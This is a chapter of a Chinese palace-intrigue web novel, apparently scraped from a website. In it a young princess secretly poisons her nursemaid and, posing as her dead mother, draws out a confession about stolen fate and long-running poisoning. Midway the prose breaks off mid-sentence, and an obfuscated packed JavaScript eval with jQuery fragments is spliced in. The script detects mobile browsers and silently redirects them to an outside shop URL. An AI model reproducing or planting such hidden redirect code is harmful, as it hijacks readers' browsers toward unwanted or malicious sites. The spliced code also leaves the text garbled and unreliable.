裴照俞在安嬷嬷屋中连待三日。

    白日她伏在榻上看书,指尖还残留着药汁冷涩的腥气。入夜,人就静静立在床幔之外,半步不近,只隔着一层半透的纱望着床榻上气息微弱的安嬷嬷。

    昏黄火光忽明忽暗映到安嬷嬷脸上,裴照俞一遍又一遍细看着安嬷嬷的眉眼、鼻梁、唇角,试图寻出往昔的半分温情。

    裴照俞眼底混杂着麻木、酸楚与刺骨寒凉,没有落泪,也无暴怒,只剩一片空洞的失神。

    屋内纱帘随风轻轻晃动,烛光将她的身影投在地上,扭曲狭长,像干枯瘦弱的恶鬼伏在床边,吸食人气。

    安嬷嬷迷迷糊糊转醒,她的眼眶凹陷,眼瞳布满细碎红血丝。长久保持着一个睡窝姿势,腰间僵硬,她撑床掀开床幔之际,才见前面站着个人,眼前人唇瓣轻轻勾起一抹极淡、诡异的笑。

    裴照俞身形轻飘飘,呼吸微不可察,安嬷嬷被吓了一跳,手捂胸口不停拍打。

    “姝儿……”

    裴照俞与她早逝的生母身影面容皆重叠,这样重合的幻影惊得安嬷嬷心头狂跳,急促的喘息堵在胸间。

    裴照俞不知道自己的模样跟生母的有多像,毕竟府中一副生母的画像都没有。

    她慢悠悠将床幔挂上,才坐上床畔帮安嬷嬷顺气。

    “嬷嬷终于醒了。阿俞很是担心嬷嬷,一连三日都在嬷嬷跟前守着呢,毕竟阿俞只有嬷嬷了。”

    无法形容安嬷嬷听到这话时的表情,茫然、破裂、恐惧,她怎么能害怕自己养大的孩子呢?

    裴照俞把被子掖好,幽幽说:“府中事务有我,嬷嬷勿要心忧。”

    毒性再次发作,安嬷嬷又倒睡下去,恰好屋外有人影掠过。

    这几日裴照俞一直在安嬷嬷身旁,暗中的影子只能在屋外徘徊,想找寻机会。

    裴照俞指尖轻敲着床缘,又抬起湿漉漉的眼眸,视线不知该落往何处。

    “嬷嬷,你究竟还有多少事瞒着我呢?”

    暗中蛰伏的云却追踪影子止步于宫墙外。

    裴照俞得知这个消息时并不意外,那日明昭告诉过她,药引是贡品,自然出自皇宫。

    明昭得到三十两,裴照俞得到了一瓶毒药,这药要比她常年吃的药性更烈,药效发作得更快。因出自诡医明昭之手,寻常大夫亦很难察觉,所以旁人都认为安嬷嬷是真的病了。

    安嬷嬷的生平被整理成册,整齐地摆放在桌上,书册旁堆着一摞泛黄受潮的旧纸,是下人整理库房时从角落翻出来的。管事粗略翻看过后,便将纸张交给云却,纸上皆是川东王妃当年为腹中孩儿拟定的名字。

    安嬷嬷大半辈子都伴在她母亲身侧,顺着嬷嬷的生平卷宗,裴照俞也窥见了许多关于自己母亲的往事。

    康国公嫡次女赵姝,自幼被全族捧在手心里,一生顺风顺水,当时宫里的皇后正是她亲姑母。当今圣上那会儿还只是皇子,二人本是表兄妹,青梅竹马,情谊深厚,相伴长大。

    赵姝容貌绝色,性子明媚耀眼,朝野上下皆默认她稳坐未来后位。

    可任谁都想不到,她最后竟抛开唾手可得的后位,转头嫁去王府,那时川东王还是世子。

    坊间私下琢磨三人关系,揣测过这段说不清道不明的三角纠葛。

    安嬷嬷本名安颂,自小便贴身伺候她母亲赵姝,卷宗里大多是细碎琐碎的日常,记述得并不详尽,仅简单标注了安嬷嬷何年成过一次婚、生女的年份,还有女儿不幸夭折夭折那一年。

    安嬷嬷有女儿?裴照俞从未听说过,对照时间,安嬷嬷的女儿五岁夭折那年,她刚出生。

    梁芫是安嬷嬷女儿的名字。

    梁芫便是良缘,一看便知,此名者所凝情深。

    裴照俞摩挲着这个名字,感到隐隐的不安。

    安嬷嬷闭口不谈的往事,自己所不知的往事,或许与梁芫有关。

    安嬷嬷前半生都系于她母亲和她身边,昨夜甚至把她错认。思及这桩事,裴照俞心中生出一计,借机试探,问出那些被掩藏的隐秘旧事。

    裴照俞痛心,她并不知自己母亲的面容,府上也没有留有母亲的画像,唯有一些旧物首饰,可暂睹思人。

    父兄从未提过她的长得像母亲。

    装束打扮和前夜一样,她依旧坐在床头,在安嬷嬷醒来之前,她抚摸着安嬷嬷的眉眼。

    醒来的安嬷嬷果然又将她错认。

    此刻不再似昨夜那般平静,虚弱的安嬷嬷指着她,嗓音撕裂沙哑,叫喊着:“赵姝,你竟敢入我梦里!”

    裴照俞轻声问:“阿颂,我为何不能入你梦?”

    她猜母亲会唤安嬷嬷为阿颂。

    安嬷嬷轻哼几声,好似听到了不得了的笑话,猛地仰头,关节发出许久不动弹的咯啦骨响,脖颈绷直,感觉再用些力就会断裂:“赵姝,别以为我不知道你做了什么!你好恶毒!好恶毒!我的女儿那般喜欢你,天天在你身旁唤你姑姑,你怎么能狠心将她的寿命换给你女儿?”

    安嬷嬷呸了一声,续道:“人人都说你善良,皇子世子公子都爱你顺你,只有我!只有我晓得你都是装的!你就是个做作虚伪的女人!勾引皇子,又与诸多世家公子牵扯不清,如今你的女儿学得跟你一样放荡!若是我的阿芫还在,肯定乖巧听话,才不会表面恭顺背地忤逆。”

    “赵姝!你也是看着阿芫长到五岁,她日日在你身旁,你怎会为你腹中见都没见过的孩子害她?你年轻,胎没了可以再怀!可我没了夫君,只有阿芫了……你知道我过得有多苦,阿芫是我唯一活下去的希望。”

    裴照俞无声落泪,胸膛剧烈起伏。

    她喉珠滚动,缓了缓问:“阿颂,我做了什么?”

    安嬷嬷大笑一声:“你还敢问你做了什么?裴照俞还未出生,你就派来术士前来做法,将阿芫的气运渡到裴照俞身上,接着大夫说你孩子胎死腹中,你边寻大夫催产,又让术士开坛做法,带走我的阿芫,彻底夺走了我孩子的寿命!

    所以你才会遭报应早死的啊,早死就是你的报应!逆天改命,也害了你全族,你全族都是你害死的!你个灾星!你女儿也是灾星!没出生就害死人,出生后更害死外祖一家,你再怎么逆转你女儿的命都没用!全是报应!”

    裴照俞胡乱抹去泪水,“毒药是谁给你的?”

    安嬷嬷疯癫道:“你不知道吗?谁叫你花枝招展勾引人?又负他人心,得罪……”

    “我也不知道,我哪能知道?”安嬷嬷粗重地急喘了数声,浑身力气骤然抽干,身子一软,无力地瘫倒。

    “既然如此恨,为何不直接杀了她给你的女儿偿命?”裴照俞颤声问。

    “因为阿芫的气运和命数,都在你女儿身上,所有她不能死,她凭什么死?我得折磨她......”

    裴照俞脸颊湿润一片,她自己也分不清究竟是泪,还是旁的水汽。后背还虚发着冷汗,只能久久趴在桌上缓神。

    她明明早已下令府中各院下人不得擅自四处走动,可总有人暗中违逆禁令,时常徘徊在安嬷嬷屋外,不用细想也没了,皆是安嬷嬷的人。

    云却在暗中观察着这些人的踪迹,并将他们的姓名和在府中哪院,各做何事都一一详细回禀。

    自此,裴照俞只有白日才会踏足安嬷嬷住处,夜里她都在祠堂,若是累了便伏腰趴在蒲团上。

    她难以入睡,需耗尽自身所有体力精力,两日三日才能沉沉睡上一觉。幸好梦境全是朦胧不清,看不清便记不住,这样才不足以被扰乱心神。

    白日,醒来的安嬷嬷除了浑噩虚弱,一切正常。

    裴照俞坐在她跟前,一言不发,安嬷嬷便伸手摸她的脸,慢

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738450|203153||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    慢说:“郡主不要劳心费力,我很快就能好的,郡主莫要担心。”

    府内连月发生太多怪事,奴仆私下议论说是乐阳郡主的灾星命格发力了,只因死去的云罗,发疯的云竹,生病的安嬷嬷都是贴身照顾她的人。

    不少奴仆纷纷寻上府内管事,托他代为向裴照俞求情,只求能准许他们能离开王府。

    管事很为难,没想到裴照俞爽快应允。

    王府仆从少了大半,那些同安嬷嬷暗中勾结、身上藏着猫腻的下人,从头到尾半句请辞离府的话都未曾提过,也没再裴照俞面前露过面。

    云却低声探问:“郡主会杀了安嬷嬷吗?”

    裴照俞闻言淡淡回眸,反问她:“若我动手杀了她,在你看来,是我天性凉薄无情,还是认为此举只会打草惊蛇?”

    “奴婢认为是后者,如今知晓郡主心有打算,奴婢安心多了。”

    谁能料到,自幼将她悉心抚育、她素来视作母亲一般敬重的安嬷嬷,背地里却对她下毒。

    前世体弱十八载,不是天生弱症,而是毒入骨髓的症状。

    她将思绪拉回前世,敛眉沉思,为何嫁给沈嘉濯后,中毒的症状似乎没了呢?他莫非知晓她中毒?可溯源一切蛛丝马迹,他都不像知情的样子。

    他若早知内情,还会放任安嬷嬷在她身边?以他的手段,怕徒惹她难过,可能不会对安嬷嬷如何,但绝不会再给安嬷嬷下毒的空隙。

    或许安嬷嬷会如侯府那个对她不敬的吴嬷嬷一样,悄无声息消失。

    云却瞧她这般沉静,心中反倒担忧,轻声劝道:“郡主,这事压在心头太重,你不妨痛痛快快哭一场纾解一二。若是只一味压着,反倒积郁伤身。”

    裴照俞声音平淡:“在你没见到的地方,哭过了的。”

    伤身?还能如何伤?该怕她伤别人才对。

    她独坐屋内,摩挲着当年母亲为她定名时亲笔写下的笺纸,指尖一遍遍抚过纸上的字,暗自思忖这一字背后藏着何种深意。

    裴照宁,裴照安,无疑是希望孩子平平安安,岁岁安宁;接着便是与美玉相关的名字,瑶璟瑜瑾,还有许多木属性水属性的字,反正都是寓意极好的。

    愈字去病气,无心变为俞,母亲的第二个祝愿究竟是什么呢?

    俞字按照字源古意归水,愉为心俞,喜悦舒展,亦为流动之气,而水也是流动的。

    水载气而生,气驭水而存。

    裴照俞心脏又重又缓跳动,她想起了说会乖乖听话的沈嘉濯。

    她与他究竟是缚?是缘?还是劫?

    垂眸望着自己的指甲,匀润鲜艳的粉色蔻丹早已褪色,不复凝红。世间没有什么是能留住的,什么都凝不牢,缘分如何流满,就会如何流逝,失去总比得到要快得多。

    每次沐浴都往木桶中注满水,只因前世死在水中,她日日趁着沐浴沉进桶中练习闭气。

    窒息的钝感包裹胸腔,肺腑火烧般疼痛,她才攥紧桶壁强撑出水,她便要驯服夺走她性命的流水,不再为水所控制。

    浮起沉落,直到水冷,皮肤被泡得发白发肿,大口喘着气,这种窒息竟让她生出快感。

    水珠顺着皮肤发丝流淌,情绪也不再压得心头发痛,她才离水穿衣。

    她在屋赤足,挥剑斩风,一招一式熟稔入心,全是沈嘉濯亲手所授,此刻她明白了为何话本总写剑客失意,总要持剑独舞。

    广袖轻扬,沈嘉濯说像鹤鸟振羽,回势展袖,沈嘉濯又说像荷瓣舒展。

    他时时刻刻都在赞美她,即便是微不足道的小事,在他眼中总能找到可圈可点之处。

    剑锋起落,直取灯花,火星跳跃,噼里啪啦作响。

    虚白之月高悬,城外薄雾竹林。

    少年亦用此套剑法,刃光破碎一片飘散于空的竹叶。